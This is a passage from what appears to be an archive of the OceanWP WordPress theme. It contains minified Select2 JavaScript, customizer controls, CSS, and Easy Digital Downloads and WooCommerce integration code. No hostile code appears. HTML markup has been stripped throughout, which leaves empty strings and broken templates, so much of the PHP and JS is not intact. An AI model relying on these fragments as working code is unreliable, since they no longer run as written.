a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("select2/compat/utils",["jquery"],function(a){function b(b,c,d){var e,f,g=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0===this.indexOf("select2-")&&g.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(f=d(this))&&g.push(f)})),b.attr("class",g.join(" "))}return{syncCssClasses:b}}),b.define("select2/compat/containerCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("containerCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptContainerCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("containerCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/dropdownCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("dropdownCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptDropdownCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("dropdownCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/initSelection",["jquery"],function(a){function b(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=c.get("initSelection"),this._isInitialized=!1,a.call(this,b,c)}return b.prototype.current=function(b,c){var d=this;if(this._isInitialized)return void b.call(this,c);this.initSelection.call(null,this.$element,function(b){d._isInitialized=!0,a.isArray(b)||(b=[b]),c(b)})},b}),b.define("select2/compat/inputData",["jquery","../utils"],function(a,b){function c(a,b,c){this._currentData=[],this._valueSeparator=c.get("valueSeparator")||",","hidden"===b.prop("type")&&c.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `
                  <# } #> <# if ( data.tablet ) { #>
                  <# } #> <# if ( data.mobile ) { #>
                  <# } #> .control-wrap:not(.active) { display: none; width: 100%; } /* Height Custom CSS textarea */ .customize-control-code_editor .CodeMirror { height: calc(100vh - 185px); } /* Responsive wordpress device switcher button */ #customize-footer-actions .devices-wrapper .devices button::before { vertical-align: unset; } /* RTL */ body.rtl .customize-control-checkbox input[type=checkbox] { margin: 0 0 0 6px; } body.rtl .customize-control-checkbox input[type="checkbox"]:checked:before, body.rtl .customize-control-ocean-multi-check input[type="checkbox"]:checked:before { right: 0; left: auto; } body.rtl .customize-control .responsive-switchers, body.rtl .customize-control .responsive-switchers li button { margin-right: 5px; margin-left: 0; } body.rtl .customize-control .responsive-switchers li { float: right; } /* Responsive */ @media screen and ( max-width: 768px ) { body .customize-control .responsive-switchers { display: none; } body .customize-control.has-switchers > .control-wrap:not(.active) { display: inline-block; } } @media screen and (min-width: 481px) and (max-width: 768px) { body .customize-control.has-switchers > .control-wrap { display: inline-block; } body .customize-control.has-switchers > .control-wrap:not(.tablet) { display: none; } } @media screen and ( max-width: 480px ) { body .customize-control.has-switchers > .control-wrap { display: inline-block; } body .customize-control.has-switchers > .control-wrap:not(.mobile) { display: none; } }customizer/controls/general.js000064400000005016151551031110012561 0ustar00jQuery(document).on('oceanready', function() { var $ = jQuery; // Responsive switchers $( '.customize-control .responsive-switchers button:not(.ocean-proccessed)' ).on( 'click', function( event ) { $(this).addClass('ocean-proccessed'); // Set up variables var $this = $( this ), $devices = $( '.responsive-switchers' ), $device = $( event.currentTarget ).data( 'device' ), $control = $( '.customize-control.has-switchers' ), $body = $( '.wp-full-overlay' ), $footer_devices = $( '.wp-full-overlay-footer .devices' ); // Button class $devices.find( 'button' ).removeClass( 'active' ); $devices.find( 'button.preview-' + $device ).addClass( 'active' ); // Control class $control.find( '.control-wrap' ).removeClass( 'active' ); $control.find( '.control-wrap.' + $device ).addClass( 'active' ); $control.removeClass( 'control-device-desktop control-device-tablet control-device-mobile' ).addClass( 'control-device-' + $device ); // Wrapper class $body.removeClass( 'preview-desktop preview-tablet preview-mobile' ).addClass( 'preview-' + $device ); // Panel footer buttons $footer_devices.find( 'button' ).removeClass( 'active' ).attr( 'aria-pressed', false ); $footer_devices.find( 'button.preview-' + $device ).addClass( 'active' ).attr( 'aria-pressed', true ); // Open switchers if ( $this.hasClass( 'preview-desktop' ) ) { $control.toggleClass( 'responsive-switchers-open' ); } } ); // If panel footer buttons clicked $( '.wp-full-overlay-footer .devices button:not(.ocean-proccessed)' ).on( 'click', function( event ) { $(this).addClass('ocean-proccessed'); // Set up variables var $this = $( this ), $devices = $( '.customize-control.has-switchers .responsive-switchers' ), $device = $( event.currentTarget ).data( 'device' ), $control = $( '.customize-control.has-switchers' ); // Button class $devices.find( 'button' ).removeClass( 'active' ); $devices.find( 'button.preview-' + $device ).addClass( 'active' ); // Control class $control.find( '.control-wrap' ).removeClass( 'active' ); $control.find( '.control-wrap.' + $device ).addClass( 'active' ); $control.removeClass( 'control-device-desktop control-device-tablet control-device-mobile' ).addClass( 'control-device-' + $device ); // Open switchers if ( ! $this.hasClass( 'preview-desktop' ) ) { $control.addClass( 'responsive-switchers-open' ); } else { $control.removeClass( 'responsive-switchers-open' ); } } ); } );customizer/controls/info/info.css000064400000000303151551031110013200 0ustar00.customize-control-oceanwp-info { margin-top: 30px; } .oceanwp-customizer-info { display: block; color: #555; font-size: 16px; } .customize-control-oceanwp-info .description { margin-top: 10px; }customizer/controls/info/class-control-info.php000064400000002176151551031110015772 0ustar00

                  {{{ data.label }}}

                  {{{ data.description }}}
                  url ); $json['id'] = $this->id; return $json; } /** * Render template * * @access protected */ protected function render_template() { ?>
                • {{ data.title }}

                • render_content() for the internals. * * @see WP_Customize_Control::render() */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control has-switchers customize-control-' . $this->type; ?>
                • render_content(); ?>
                • json['id'] = $this->id; $this->json['desktop'] = array(); $this->json['tablet'] = array(); $this->json['mobile'] = array(); foreach ( $this->settings as $setting_key => $setting ) { $this->json[ $setting_key ] = array( 'id' => $setting->id, 'default' => $setting->default, 'link' => $this->get_link( $setting_key ), 'value' => $this->value( $setting_key ), ); } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <# if ( data.label ) { #> {{{ data.label }}}
                  <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #> <# if ( data.desktop ) { #>
                  <# } #> <# if ( data.tablet ) { #>
                  <# } #> <# if ( data.mobile ) { #>
                  <# } #> .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--default .select2-results__option[role=group] { padding: 0; } .select2-container--default .select2-results__option[aria-disabled=true] { color: #999; } .select2-container--default .select2-results__option[aria-selected=true] { background-color: #ddd; } .select2-container--default .select2-results__option .select2-results__option { padding-left: 1em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__group { padding-left: 0; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option { margin-left: -1em; padding-left: 2em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -2em; padding-left: 3em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -3em; padding-left: 4em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -4em; padding-left: 5em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -5em; padding-left: 6em; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: #5897fb; color: white; } .select2-container--default .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #aaa; border-radius: 4px; outline: 0; background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%); background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%); background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic .select2-selection--single:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: 28px; } .select2-container--classic .select2-selection--single .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-right: 10px; } .select2-container--classic .select2-selection--single .select2-selection__placeholder { color: #999; } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #ddd; border: none; border-left: 1px solid #aaa; border-top-right-radius: 4px; border-bottom-right-radius: 4px; height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); } .select2-container--classic .select2-selection--single .select2-selection__arrow b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear { float: left; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border: none; border-right: 1px solid #aaa; border-radius: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; left: 1px; right: auto; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow { background: transparent; border: none; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--single { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%); background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%); background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--single { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); } .select2-container--classic .select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; outline: 0; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--multiple .select2-selection__rendered { list-style: none; margin: 0; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__clear { display: none; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove { color: #888; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover { color: #555; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { float: right; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #aaa; outline: 0; } .select2-container--classic .select2-search--inline .select2-search__field { outline: 0; box-shadow: none; } .select2-container--classic .select2-dropdown { background-color: white; border: 1px solid transparent; } .select2-container--classic .select2-dropdown--above { border-bottom: none; } .select2-container--classic .select2-dropdown--below { border-top: none; } .select2-container--classic .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--classic .select2-results__option[role=group] { padding: 0; } .select2-container--classic .select2-results__option[aria-disabled=true] { color: grey; } .select2-container--classic .select2-results__option--highlighted[aria-selected] { background-color: #3875d7; color: white; } .select2-container--classic .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #5897fb; } edd/edd-config.php000064400000037254151551031110010014 0ustar00 esc_html__( 'EDD Sidebar', 'oceanwp' ), 'id' => 'edd_sidebar', 'before_widget' => '', 'before_title' => '

                  ', 'after_title' => '

                  ', ) ); } /** * Display EDD sidebar. * * @since 1.0.0 */ public static function display_edd_sidebar( $sidebar ) { // Alter sidebar display to show edd_sidebar where needed if ( get_theme_mod( 'ocean_edd_custom_sidebar', true ) && is_active_sidebar( 'edd_sidebar' ) && oceanwp_is_edd_page() ) { $sidebar = 'edd_sidebar'; } // Return correct sidebar return $sidebar; } /** * Tweaks the post layouts for EDD archives and single product posts. * * @since 1.0.0 */ public static function layouts( $class ) { if ( is_post_type_archive( 'download' ) || is_tax( 'download_category' ) || is_tax( 'download_tag' ) ) { $class = get_theme_mod( 'ocean_edd_archive_layout', 'left-sidebar' ); } elseif ( is_singular( 'download' ) ) { $class = get_theme_mod( 'ocean_edd_download_layout', 'left-sidebar' ); } return $class; } /** * Set correct both sidebars layout style. * * @since 1.4.0 */ public static function bs_class( $class ) { if ( is_post_type_archive( 'download' ) || is_tax( 'download_category' ) || is_tax( 'download_tag' ) ) { $class = get_theme_mod( 'ocean_edd_archive_both_sidebars_style', 'scs-style' ); } elseif ( is_singular( 'download' ) ) { $class = get_theme_mod( 'ocean_edd_product_both_sidebars_style', 'scs-style' ); } return $class; } /** * Set correct mobile sidebar order. * * @since 1.6 */ public static function sidebar_order( $order ) { if ( is_post_type_archive( 'download' ) || is_tax( 'download_category' ) || is_tax( 'download_tag' ) ) { $order = get_theme_mod( 'ocean_edd_archive_sidebar_order', 'content-sidebar' ); } elseif ( is_singular( 'download' ) ) { $order = get_theme_mod( 'ocean_edd_download_sidebar_order', 'content-sidebar' ); } return $order; } /** * Add Custom EDD scripts. * * @since 1.0.0 */ public static function add_custom_scripts() { wp_enqueue_style( 'oceanwp-edd', OCEANWP_CSS_DIR_URI . 'edd/edd.min.css', array(), OCEANWP_THEME_VERSION, 'all' ); wp_enqueue_script( 'oceanwp-edd-ajax-cart', OCEANWP_JS_DIR_URI . 'wp-plugins/easy-digital-downloads/edd-ajax-cart.min.js', array(), OCEANWP_THEME_VERSION, true ); // If display cart when product added. if ( 'yes' === get_theme_mod( 'ocean_edd_display_cart_download_added', 'no' ) ) { wp_enqueue_script( 'oceanwp-edd-display-cart', OCEANWP_JS_DIR_URI . 'wp-plugins/easy-digital-downloads/edd-display-cart.min.js', array(), OCEANWP_THEME_VERSION, true ); } } /** * Add cart overlay. * * @since 1.5.0 */ public static function cart_overlay() { ?>
                  array( 'top' ), '.simple-style.eddmenucart .edd-cart-quantity.count:after', '.edd_downloads_list .button:hover', '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-container:after', '.show-cart .eddmenucart-cart-icon .eddmenucart-container:after', '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-container', '.show-cart .eddmenucart-cart-icon .eddmenucart-container', '.edd_downloads_list .button:hover .edd-loading', ), $borders ); } /** * Adds background accents for EDD styles. * * @since 1.0.0 */ public static function primary_backgrounds( $backgrounds ) { return array_merge( array( '.content-area ul.edd-cart li .edd-cart-item-price', '.widget-area ul.edd-cart li .edd-cart-item-price', '.simple-style.eddmenucart .edd-cart-quantity.count', '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-container', '.show-cart .eddmenucart-cart-icon .eddmenucart-container', '.content-area ul.edd-cart li.edd_checkout a', '.widget-area ul.edd-cart li.edd_checkout a', '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a', ), $backgrounds ); } /** * Adds background hover accents for EDD styles. * * @since 1.0.0 */ public static function hover_primary_backgrounds( $hover ) { return array_merge( array( '.content-area ul.edd-cart li.edd_checkout a:hover', '.widget-area ul.edd-cart li.edd_checkout a:hover', '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a:hover', ), $hover ); } /** * Adds border color elements for EDD styles. * * @since 1.0.0 */ public static function border_color_elements( $elements ) { return array_merge( array( '#edd_checkout_user_info', '#edd_checkout_form_wrap legend', '#edd_checkout_form_wrap #edd-discount-code-wrap', '#edd_checkout_form_wrap #edd_final_total_wrap', '#edd_checkout_form_wrap #edd_show_discount', '#edd_checkout_form_wrap fieldset', '.edd-table th, .edd-table td', ), $elements ); } /** * Adds cart icon to menu * * @since 1.0.0 */ public static function menu_cart_icon( $items, $args ) { // Return items if is in the Elementor edit mode, to avoid error if ( OCEANWP_ELEMENTOR_ACTIVE && \Elementor\Plugin::$instance->editor->is_edit_mode() ) { return $items; } // Only used for the main menu if ( 'main_menu' != $args->theme_location ) { return $items; } // Get style $style = oceanwp_edd_menu_cart_style(); $header_style = oceanwp_header_style(); // Return items if no style if ( ! $style ) { return $items; } // Return items if "hide if empty cart" is checked if ( true == get_theme_mod( 'ocean_edd_menu_icon_hide_if_empty', false ) && ! count( is_array( edd_get_cart_quantity() ) ? edd_get_cart_quantity() : array() ) > 0 ) { return $items; } // Add cart link to menu items if ( 'full_screen' == $header_style ) { $items .= ''; } else { $items .= self::get_cart_icon(); } // Return menu items return $items; } /** * Add cart icon * * @since 1.5.0 */ public static function get_cart_icon() { // Style $style = oceanwp_edd_menu_cart_style(); $header_style = oceanwp_header_style(); $cart_style = get_theme_mod( 'ocean_edd_cart_dropdown_style', 'compact' ); // Toggle class $toggle_class = 'toggle-cart-widget'; // Define classes to add to li element $classes = array( 'edd-menu-icon' ); // Add style class $classes[] = 'eddmenucart-toggle-' . $style; // If bag style if ( 'yes' == get_theme_mod( 'ocean_edd_menu_bag_style', 'no' ) ) { $classes[] = 'bag-style'; } // Cart style if ( 'compact' != $cart_style ) { $classes[] = $cart_style; } // Prevent clicking on cart and checkout if ( 'drop_down' == $style ) { $classes[] = 'nav-no-click'; } if ( true == get_theme_mod( 'ocean_edd_menu_icon_hide_if_empty', false ) && ! edd_get_cart_quantity() > 0 ) { $classes[] = 'edd-cart-empty'; } // Add toggle class else { $classes[] = $toggle_class; } // Turn classes into string $classes = implode( ' ', $classes ); ob_start(); ?>
                • esc_html__( 'EDD Product Title', 'oceanwp' ), 'target' => '.edd_download_title, .widget_edd_product_details h4', 'defaults' => array( 'font-size' => '24', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['edd_product_price'] = array( 'label' => esc_html__( 'EDD Product Price', 'oceanwp' ), 'target' => '.edd_price, .edd_single_mode', 'defaults' => array( 'font-size' => '36', 'line-height' => '1', 'letter-spacing' => '0', ), ); $settings['edd_product_add_to_cart'] = array( 'label' => esc_html__( 'EDD Product Add To Cart', 'oceanwp' ), 'target' => '.edd_downloads_list .button, .edd-add-to-cart', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'line-height' => '1.5', 'letter-spacing' => '1', ), ); return $settings; } } } new OceanWP_EDD_Config(); edd/edd-helpers.php000064400000022235151551031110010202 0ustar00editor->is_edit_mode() ) { return; } // Vars $icon_style = get_theme_mod( 'ocean_edd_menu_icon_style', 'drop_down' ); $custom_link = get_theme_mod( 'ocean_edd_menu_icon_custom_link' ); // URL if ( 'custom_link' == $icon_style && $custom_link ) { $url = esc_url( $custom_link ); } else { $url = edd_get_checkout_uri(); } // Cart total $display = get_theme_mod( 'ocean_edd_menu_icon_display', 'icon_count' ); if ( 'icon_total' == $display ) { $cart_extra = '' . edd_currency_filter( edd_format_amount( edd_get_cart_total() ) ) . ''; } elseif ( 'icon_count' == $display ) { $cart_extra = '' . edd_get_cart_quantity() . ''; } elseif ( 'icon_count_total' == $display ) { $cart_extra = '' . edd_get_cart_quantity() . ''; $cart_extra .= '' . edd_currency_filter( edd_format_amount( edd_get_cart_total() ) ) . ''; } else { $cart_extra = ''; } // Get cart icon $icon = get_theme_mod( 'ocean_edd_menu_icon', 'icon_handbag' ); $icon = in_array( $icon, oceanwp_get_cart_icons() ) && $icon ? $icon : 'icon_handbag'; // If has custom cart icon $custom_icon = get_theme_mod( 'ocean_edd_menu_custom_icon' ); if ( '' != $custom_icon ) { $icon = $custom_icon; } if ( '' != $custom_icon ) { $cart_icon = ''; } else { $cart_icon = oceanwp_icon( $icon, false ); } // Cart Icon $cart_icon = apply_filters( 'ocean_menu_cart_icon_html', $cart_icon ); // If bag style if ( 'yes' == get_theme_mod( 'ocean_edd_menu_bag_style', 'no' ) ) { ?> name; ?> '; $output .= '' . esc_html__( 'View Details', 'oceanwp' ) . ''; $output .= '
                  '; } else { $output = edd_get_purchase_link( array( 'price' => false, 'text' => esc_html__( 'Add to Cart', 'oceanwp' ), ) ); } return $output; } } /** * Return div for start of loop */ if ( ! function_exists( 'oceanwp_edd_loop_classes' ) ) { function oceanwp_edd_loop_classes() { $wrap_classes = array(); $wrap_classes[] = 'edd_downloads_list'; $wrap_classes[] = 'oceanwp-row'; // Columns $desktop_columns = get_theme_mod( 'ocean_edd_archive_columns', 3 ); $wrap_classes[] = 'desktop-col'; $wrap_classes[] = 'desktop-' . $desktop_columns . '-col'; $tablet_columns = get_theme_mod( 'ocean_edd_tablet_archive_columns' ); $mobile_columns = get_theme_mod( 'ocean_edd_mobile_archive_columns' ); if ( ! empty( $tablet_columns ) ) { $wrap_classes[] = 'tablet-col'; $wrap_classes[] = 'tablet-' . $tablet_columns . '-col'; } if ( ! empty( $mobile_columns ) ) { $wrap_classes[] = 'mobile-col'; $wrap_classes[] = 'mobile-' . $mobile_columns . '-col'; } $wrap_classes = implode( ' ', $wrap_classes ); return $wrap_classes; } } /** * Remove the purchase button on single download pages */ function oceanwp_remove_edd_purchase_button() { if ( false == get_theme_mod( 'ocean_edd_display_add_to_cart', true ) ) { if ( is_singular( 'download' ) ) { remove_action( 'edd_after_download_content', 'edd_append_purchase_link' ); } } } add_action( 'template_redirect', 'oceanwp_remove_edd_purchase_button' ); /** * Returns correct columns for the EDD archive entries * Used to clear floats * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_edd_entry_columns' ) ) { function oceanwp_edd_entry_columns() { // Get columns from customizer setting $columns = get_theme_mod( 'ocean_edd_archive_columns', '3' ); // Sanitize $columns = $columns ? $columns : '3'; // Apply filters for child theming $columns = apply_filters( 'oceanwp_edd_entry_columns', $columns ); // Return columns return $columns; } } // Disable EDD Styles add_filter( 'edd_get_option_disable_styles', '__return_true' ); /** * Change EDD Templates Folder * * @since 1.0.4 */ function oceanwp_edd_template_dir() { return 'partials/edd'; } add_filter( 'edd_templates_dir', 'oceanwp_edd_template_dir' ); /** * Remove Price from purchase button in widget * * @since 1.5.15 */ function oceanwp_edd_product_details_purchase_button() { return edd_get_purchase_link( array( 'download_id' => get_the_ID(), 'price' => false, ) ); } add_filter( 'edd_product_details_widget_purchase_button', 'oceanwp_edd_product_details_purchase_button', 10, 1 ); /** * Add Price in widget * * @since 1.5.15 */ function oceanwp_edd_product_details_price() { $output = '
                  '; if ( ! edd_has_variable_prices( get_the_ID() ) ) : $output .= edd_price( get_the_ID() ); else : $output .= edd_price_range( get_the_ID() ); endif; $output .= '
                  '; return $output; } add_action( 'edd_product_details_widget_before_purchase_button', 'oceanwp_edd_product_details_price' ); woocommerce/woocommerce-config.php000064400000272237151551031110013364 0ustar00get_section( 'woocommerce_checkout' )->panel = 'ocean_woocommerce_panel'; $wp_customize->get_section( 'woocommerce_store_notice' )->panel = 'ocean_woocommerce_panel'; $wp_customize->get_section( 'woocommerce_product_images' )->panel = 'ocean_woocommerce_panel'; $wp_customize->get_section( 'woocommerce_product_images' )->priority = 999; $wp_customize->get_control( 'woocommerce_shop_page_display' )->section = 'ocean_woocommerce_archives'; $wp_customize->get_control( 'woocommerce_category_archive_display' )->section = 'ocean_woocommerce_archives'; $wp_customize->get_control( 'woocommerce_default_catalog_orderby' )->section = 'ocean_woocommerce_archives'; $wp_customize->get_control( 'woocommerce_checkout_company_field' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_checkout_address_2_field' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_checkout_phone_field' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_checkout_highlight_required_fields' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'wp_page_for_privacy_policy' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_terms_page_id' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_checkout_privacy_policy_text' )->section = 'ocean_woocommerce_checkout'; $wp_customize->get_control( 'woocommerce_checkout_terms_and_conditions_checkbox_text' )->section = 'ocean_woocommerce_checkout'; } /** * Content wrapper. * * @since 1.4.7 */ public static function content_wrapper() { get_template_part( 'woocommerce/wc-content-wrapper' ); } /** * Content wrapper end. * * @since 1.4.7 */ public static function content_wrapper_end() { get_template_part( 'woocommerce/wc-content-wrapper-end' ); } /** * Register new WooCommerce sidebar. * * @since 1.0.0 */ public static function register_woo_sidebar() { // Return if custom sidebar disabled if ( ! get_theme_mod( 'ocean_woo_custom_sidebar', true ) ) { return; } // Register new woo_sidebar widget area register_sidebar( array( 'name' => esc_html__( 'WooCommerce Sidebar', 'oceanwp' ), 'id' => 'woo_sidebar', 'before_widget' => '', 'before_title' => '

                  ', 'after_title' => '

                  ', ) ); } /** * Display WooCommerce sidebar. * * @since 1.0.0 */ public static function display_woo_sidebar( $sidebar ) { // Alter sidebar display to show woo_sidebar where needed if ( get_theme_mod( 'ocean_woo_custom_sidebar', true ) && is_active_sidebar( 'woo_sidebar' ) && is_woocommerce() ) { $sidebar = 'woo_sidebar'; } // Return correct sidebar return $sidebar; } /** * Tweaks the post layouts for WooCommerce archives and single product posts. * * @since 1.0.0 */ public static function layouts( $class ) { if ( oceanwp_is_woo_shop() || oceanwp_is_woo_tax() ) { $class = get_theme_mod( 'ocean_woo_shop_layout', 'left-sidebar' ); } elseif ( oceanwp_is_woo_single() ) { $class = get_theme_mod( 'ocean_woo_product_layout', 'left-sidebar' ); } return $class; } /** * Set correct both sidebars layout style. * * @since 1.4.0 */ public static function bs_class( $class ) { if ( oceanwp_is_woo_shop() || oceanwp_is_woo_tax() ) { $class = get_theme_mod( 'ocean_woo_shop_both_sidebars_style', 'scs-style' ); } elseif ( oceanwp_is_woo_single() ) { $class = get_theme_mod( 'ocean_woo_product_both_sidebars_style', 'scs-style' ); } return $class; } /** * Set correct mobile sidebar order. * * @since 1.6 */ public static function sidebar_order( $order ) { if ( oceanwp_is_woo_shop() || oceanwp_is_woo_tax() ) { $order = get_theme_mod( 'ocean_woo_shop_sidebar_order', 'content-sidebar' ); } elseif ( oceanwp_is_woo_single() ) { $order = get_theme_mod( 'ocean_woo_product_sidebar_order', 'content-sidebar' ); } return $order; } /** * Mini cart style. * * @since 1.0.0 */ public static function mini_cart_style() { // Register WooCommerce styles wp_enqueue_style( 'oceanwp-woo-mini-cart', OCEANWP_CSS_DIR_URI . 'woo/woo-mini-cart.min.css' ); // If rtl if ( is_RTL() ) { wp_enqueue_style( 'oceanwp-woo-mini-cart-rtl', OCEANWP_CSS_DIR_URI . 'woo/woo-mini-cart-rtl.css' ); } } /** * Runs on Init. * You can't remove certain actions in the constructor because it's too early. * * @since 1.0.0 